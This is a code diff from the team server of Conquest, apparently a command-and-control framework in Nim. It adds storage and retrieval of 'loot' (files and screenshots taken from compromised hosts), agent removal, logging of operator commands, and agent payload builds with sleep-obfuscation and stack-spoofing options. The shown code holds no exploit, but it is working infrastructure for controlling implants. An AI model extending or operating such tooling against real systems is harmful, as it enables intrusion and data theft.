dbDeleteListenerByName*(cq: Conquest, listenerId: string): bool = try: let conquestDb = openDatabase(cq.dbPath, mode=dbReadWrite) - conquestDb.exec("DELETE FROM listeners WHERE name = ?", name) + conquestDb.exec("DELETE FROM listeners WHERE listenerId = ?", listenerId) conquestDb.close() except: @@ -70,7 +71,7 @@ proc dbListenerExists*(cq: Conquest, listenerName: string): bool = try: let conquestDb = openDatabase(cq.dbPath, mode=dbReadWrite) - let res = conquestDb.one("SELECT 1 FROM listeners WHERE name = ? LIMIT 1", listenerName) + let res = conquestDb.one("SELECT 1 FROM listeners WHERE listenerId = ? LIMIT 1", listenerName) conquestDb.close() diff --git a/src/server/db/dbLoot.nim b/src/server/db/dbLoot.nim new file mode 100644 index 0000000..cf93f88 --- /dev/null +++ b/src/server/db/dbLoot.nim @@ -0,0 +1,76 @@ +import system, terminal, tiny_sqlite +import ../core/logger +import ../../common/types + +proc dbStoreLoot*(cq: Conquest, loot: LootItem): bool = + try: + let conquestDb = openDatabase(cq.dbPath, mode=dbReadWrite) + + conquestDb.exec(""" + INSERT INTO loot (lootId, itemType, agentId, host, path, timestamp, size) + VALUES (?, ?, ?, ?, ?, ?, ?); + """, loot.lootId, int(loot.itemType), loot.agentId, loot.host, loot.path, loot.timestamp, loot.size) + + conquestDb.close() + except: + cq.error(getCurrentExceptionMsg()) + return false + + return true + +proc dbGetLoot*(cq: Conquest): seq[LootItem] = + var loot: seq[LootItem] = @[] + + try: + let conquestDb = openDatabase(cq.dbPath, mode=dbReadWrite) + + for row in conquestDb.iterate("SELECT lootId, itemType, agentId, host, path, timestamp, size FROM loot;"): + let (lootId, itemType, agentId, host, path, timestamp, size) = row.unpack((string, int, string, string, string, int64, int)) + + let l = LootItem( + lootId: lootId, + itemType: cast[LootItemType](itemType), + agentId: agentId, + host: host, + path: path, + timestamp: timestamp, + size: size + ) + + loot.add(l) + + conquestDb.close() + except: + cq.error(getCurrentExceptionMsg()) + + return loot + +proc dbGetLootById*(cq: Conquest, lootId: string): LootItem = + try: + let conquestDb = openDatabase(cq.dbPath, mode=dbReadWrite) + for row in conquestDb.iterate("SELECT lootId, itemType, agentId, host, path, timestamp, size FROM loot WHERE lootId = ?;", lootId): + let (id, itemType, agentId, host, path, timestamp, size) = row.unpack((string, int, string, string, string, int64, int)) + result = LootItem( + lootId: id, + itemType: cast[LootItemType](itemType), + agentId: agentId, + host: host, + path: path, + timestamp: timestamp, + size: size + ) + conquestDb.close() + except: + cq.error(getCurrentExceptionMsg()) + +proc dbDeleteLootById*(cq: Conquest, lootId: string): bool = + try: + let conquestDb = openDatabase(cq.dbPath, mode=dbReadWrite) + + conquestDb.exec("DELETE FROM loot WHERE lootId = ?", lootId) + + conquestDb.close() + except: + return false + + return true \ No newline at end of file diff --git a/src/server/main.nim b/src/server/main.nim index 7574a5f..65cab5f 100644 --- a/src/server/main.nim +++ b/src/server/main.nim @@ -1,13 +1,11 @@ +import mummy, mummy/routers import terminal, parsetoml, json, math, base64, times import strutils, strformat, system, tables -import ./core/[listener, builder] import ./globals import ./db/database -import ./core/logger +import ./core/[listener, logger, builder, websocket] import ../common/[types, crypto, utils, profile, event] -import ./websocket -import mummy, mummy/routers proc header() = echo "" @@ -58,41 +56,59 @@ proc websocketHandler(ws: WebSocket, event: WebSocketEvent, message: Message) {. cq.client.sessionKey = deriveSessionKey(cq.keyPair, publicKey) # Send relevant information to the client - # - C2 profile - # - agent sessions - # - listeners + # C2 profile cq.client.sendProfile(cq.profile) + + # Listeners for id, listener in cq.listeners: cq.client.sendListener(listener) + + # Agent sessions for id, agent in cq.agents: cq.client.sendAgent(agent) - cq.client.sendEventlogItem(LOG_SUCCESS_SHORT, "CQ-V1") + + # Downloads & Screenshots metadata + for lootItem in cq.dbGetLoot(): + cq.client.sendLoot(lootItem) + + cq.client.sendEventlogItem(LOG_SUCCESS_SHORT, "Connected to Conquest team server.") of CLIENT_AGENT_TASK: let agentId = event.data["agentId"].getStr() + let command = event.data["command"].getStr() let task = event.data["task"].to(Task) cq.agents[agentId].tasks.add(task) + let timestamp = event.timestamp.fromUnix().local().format("dd-MM-yyyy HH:mm:ss") + log(fmt"[{timestamp}]{$LOG_COMMAND}{command}", agentId) + of CLIENT_LISTENER_START: let listener = event.data.to(UIListener) - cq.listenerStart(listener.listenerId, listener.address, listener.port, listener.protocol) + cq.listenerStart(listener.listenerId, listener.hosts, listener.address, listener.port, listener.protocol) of CLIENT_LISTENER_STOP: let listenerId = event.data["listenerId"].getStr() cq.listenerStop(listenerId) of CLIENT_AGENT_BUILD: - let - listenerId = event.data["listenerId"].getStr() - sleepDelay = event.data["sleepDelay"].getInt() - sleepTechnique = cast[SleepObfuscationTechnique](event.data["sleepTechnique"].getInt()) - spoofStack = event.data["spoofStack"].getBool() - modules = cast[uint32](event.data["modules"].getInt()) - - let payload = cq.agentBuild(listenerId, sleepDelay, sleepTechnique, spoofStack, modules) + let agentBuildInformation = event.data.to(AgentBuildInformation) + let payload = cq.agentBuild(agentBuildInformation) if payload.len() != 0: cq.client.sendAgentPayload(payload) + of CLIENT_AGENT_REMOVE: + let agentId = event.data["agentId"].getStr() + discard cq.dbDeleteAgentByName(agentId) + cq.agents.del(agentId) + + of CLIENT_LOOT_REMOVE: + if not cq.dbDeleteLootById(event.data["lootId"].getStr()): + cq.client.sendEventlogItem(LOG_ERROR, "Failed to delete loot.") + + of CLIENT_LOOT_GET: + let loot = cq.dbGetLootById(event.data["lootId"].getStr()) + cq.client.sendLootData(loot, readFile(loot.path)) + else: discard of ErrorEvent: @@ -133,28 +149,29 @@ proc startServer*(profilePath: string) = cq.info("Using profile \"", profile.getString("name"), "\" (", profilePath ,").") + # Initialize database + cq.dbInit() + for agent in cq.dbGetAllAgents(): + cq.agents[agent.agentId] = agent + for listener in cq.dbGetAllListeners(): + cq.listeners[listener.listenerId] = listener + + # Restart existing listeners + for listenerId, listener in cq.listeners: + cq.listenerStart(listenerId, listener.hosts, listener.address, listener.port, listener.protocol) + + # Start websocket server + var router: Router + router.get("/*", upgradeHandler) + + # Increased websocket message length in order to support dotnet assembly execution (1GB) + let server = newServer(router, websocketHandler, maxBodyLen = 1024 * 1024 * 1024, maxMessageLen = 1024 * 1024 * 1024) + server.serve(Port(cq.profile.getInt("team-server.port")), "0.0.0.0") + except CatchableError as err: echo err.msg quit(0) - # Initialize database - cq.dbInit() - for agent in cq.dbGetAllAgents(): - cq.agents[agent.agentId] = agent - for listener in cq.dbGetAllListeners(): - cq.listeners[listener.listenerId] = listener - - # Restart existing listeners - for listenerId, listener in cq.listeners: - cq.listenerStart(listenerId, listener.address, listener.port, listener.protocol) - - # Start websocket server - var router: Router - router.get("/*", upgradeHandler) - - # Increased websocket message length in order to support dotnet assembly execution (1GB) - let server = newServer(router, websocketHandler, maxBodyLen = 1024 * 1024 * 1024, maxMessageLen = 1024 * 1024 * 1024) - server.serve(Port(cq.profile.getInt("team-server.port")), "0.0.0.0") # Conquest framework entry point when isMainModule: